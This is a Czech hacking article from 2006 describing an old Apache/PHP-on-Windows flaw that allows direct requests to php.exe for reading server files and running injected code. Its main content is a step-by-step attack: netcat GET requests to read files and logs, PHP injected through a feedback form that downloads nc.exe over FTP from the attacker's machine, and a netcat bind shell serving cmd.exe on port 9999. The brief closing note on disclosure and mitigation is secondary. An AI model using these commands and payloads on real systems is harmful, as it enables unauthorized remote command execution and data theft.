Chyba v Apache

Zdroj: SOOM.cz [ISSN 1804-7270]
Autor: BabCA SjEs
Datum: 23.9.2006
Hodnocení/Hlasovalo: 2.6/15

Popis jedné starší chyby, která je v Apache s PHP.

Chyba stará jako Metuzalém

Co je to tentokrát?

Mno, tak nějako čirou náhodou jsem se dostal k jedné docela starší chybě v serveru Apache s php běžících pod win. Toto je jen menší popisek chyby a možnosti využití :). Při velkém štěstí se nám podaří spouštět libovolné příkazy na příkazovém řádku.

Co bude potřeba?

No, tak pro začátek nic. Jen snad pevný nervy, dobrou konstelaci hvězd a mega velkou dávku štěstěny.

Popis chyby

Je to chyba na serverech Apache, nebo spíš nezamýšlený účel. Jde o chybné základní nastaveni cest vyhledávání php souboru. Pokud jste se někdy procházeli po Apachy tak jste zjistily na jaké adrese se nachází složka PHP. V ni je uložen soubor php.exe, který se stará o provádění php scriptu. Tedy do tohoto programu směřuje veškerý obsah php stránek. A nejen to, tento soubor provádí veškerý text jako php. Tak tedy pokud by byl na disku uložený soubor, třeba ahoj.txt, který by obsahoval jednoduchý php kód: <? system("dir") ?>, a podařilo by se nám ho spustit, tak v okně prohlížeče vidíme obsah serverového disku.  Kdyby se nám podařilo dostat se k tomuto souboru a spustit třeba nějaký text jako php scrit tak máme pomalu vyhráno :). Tak a teď už k samotné chybce. Pořád jsme se bavili o tam coby kdyby. Ted si ukážeme jak na to. Pokud se vám podaří objevit nějaký server který běží na Apachy (Vím bude to těžká práce, ale snad se vám to podaří ;)) zjistěte si jeho IP. V mém případě to bude třeba klasický localhost (tedy 127.0.0.1). Pomoci NetCatu se připojte na váš obětní server. Pro neznalé příkaz nc.exe 127.0.0.1 80. Pokud se vám to povedlo tak pokračujeme dále :). Zapište tento příkaz: GET /php/php.exe?c:\ HTTP/1.0, pozor je to docela dost citlivé na velikost písmen. Pokud šlo vše hladce mělo by vám to vrátit něco v tomto smyslu:

 

C:\>nc localhost 80
GET /php/php.exe?c:\ HTTP/1.0

HTTP/1.1 200 OK
Date: Fri, 22 Sep 2006 11:16:36 GMT
Server: Apache/1.3.23 (Win32)
X-Powered-By: PHP/4.1.1
Connection: close
Content-Type: text/html

No input file specified.

C:\>

 

Kromě klasické hlavičky, která ukazuje verzi serveru (v mém případě se jedná o 1.3.23), php verzi (4.1.1) a typu operačního systému (win32) se zde nachází taktéž správa "No input file specified." V překladu to znamená něco ve smyslu "Nebyl vybrán vstupní soubor". Toto je pro nás velice dobrá zpráva, jelikož už máme ověřeno, jestli tento server tuto chybu obsahuje :). Pokud se zobrazí něco ve smyslu "Nemáte přístup k souboru/složce", můžete se rovnou poohlídnou po jiném serveru :(. Teď si kapičku rozebereme náš příkaz GET. Příkaz GET značí, že něco od serveru žádáme, v našem případě chceme soubor na adrese /php/php.exe. Pokud jsou špatně nastaveny přístupy a cesty tak máme kompletní přístup k tomuto souboru. To co je za otazníčkem (?) je relativní cesta od kořene adresáře. Tak a pokud dodáte za otazníček jakoukoliv cestu k textovému souboru, tak vám ho to zobrazí ve výstupu. For example: GET /php/php.exe?c:\apache\logs\access.log HTTP/1.0. Toto by vám na výstupu zobrazilo všechny přístupy na server, tedy i mnoho IP adres.

Spouštění příkazů

Tak když jsme si ukázali jak tato chybička funguje, tak si můžeme ukázat i její zneužití. Teď bude potřeba hodně velká dávka štěstí. Když jsem nedávno posílal tzv. "feedback" tady zpětnou reakci, tak jsem se srandy podíval na zdrojový kód. S pocitem, že tam zase nic nenajdu, jsem chtěl okno zavřít a v tom jsem si všiml, že formulář se odesílá do cgi scriptu. Respektive zápis action="cgi-bin/feedback.pl" mě dovedl na jeden nápad. Jelikož využívám na localhostu taktéž apache se standardní instalací (Tedy c:\apache), rozhodl jsem se podívat na celou cestu k cgi-bin. Když jsem věděl, že to je c:/apache/cgi-bin, rozhodl jsem se jen tak ze srandy vyzkoušet příkaz GET /php/php.exe?c:\apache\cgi-bin\feedback.pl HTTP/1.0. No a hle, nádherný zdrojový kód perlu na ukládání zpětných reakcí. Z něho jsem vyčetl, že každá reakce se ukládá do c:\feedback\<předmět>.txt pod názvem, který je shodný s předmětem reakce. Teď mě čekala menší chirurgická práce. Po dlouhý době jsem nažhavil svůj milovaný Cerberus a vytvořil účet s jedním adresářem a jedním souborem - NetCatem. Nyní jsem jsem si připravil menší textík do feedbacku. Jako předmět jsem napsal Ahoj. Za sdělení jsem dodal tento menší php kód:

 

<?
//otevře soubor pro čtení
$soubor=fopen("c:\\prikaz.txt","w");
//zapíše vaše přihlašovací jmeno do souboru
fwrite($soubor,"USER <pr. jmeno\n");
//zapíše vaše pr. heslo
fwrite($soubor,"PASS <pr. heslo>\n");
//vyžádá si na všem PC soubor
fwrite($soubor,"get\n");
//bude to soubor netcat (nc.exe)
fwrite($soubor,"nc.exe\n");
//a uloží ho jako nc.exe do adresáře c:\
fwrite($soubor,"c:\\nc.exe\n");
//uzavřeme soubor
fclose($soubor);
//připojíme se ke svému PC a veškeré příkazy budeme brat ze souboru c:\prikaz.txt
system("ftp -n -v -s:c:\\prikaz.txt <vaše IP adresa>");
//zaktivujme nc.exe na 9999 portu a připojíme program cmd.exe
system("c:\\nc.exe -n -L -p -d 9999 -e cmd.exe");
?>

 

Po úspěšném odeslání komentáře bylo vše připraveno. Poté jsem už jen spustil NetCat připojil se na server a zaslal nádherný příkaz: GET /php/php.exe?c:\feedback\Ahoj.txt HTTP/1.0
Po tomto příkazu se na server zkopíroval program nc.exe a byl spuštěn. A nakonec jsem se připojil k servru příkazem:
telnet localhost 9999
A hle, příkazový řádek serveru je na světě. Nyní si můžete do libosti užívat.

Slovo závěrem

Poté co mě to přestalo bavit jsem kontaktoval administrátora severu a dalo se to vše do pořádku. Teď už ta chyba nefunguje a tak se mi dostalo aspoň poděkování. Jinak samozřejmě tento článek slouží jen jako upozornění pro administrátory Apachů. Jedna z možnosti, jak tomuto zabránit, je nastaveni souboru php.ini, nebo přejití na vyšší verzi Apache. Podrobnější popis teto chyby je na stránce www.securityfocus.com/bid/3786. To jest zatím vše.

 

<$] Babča Sjes [$>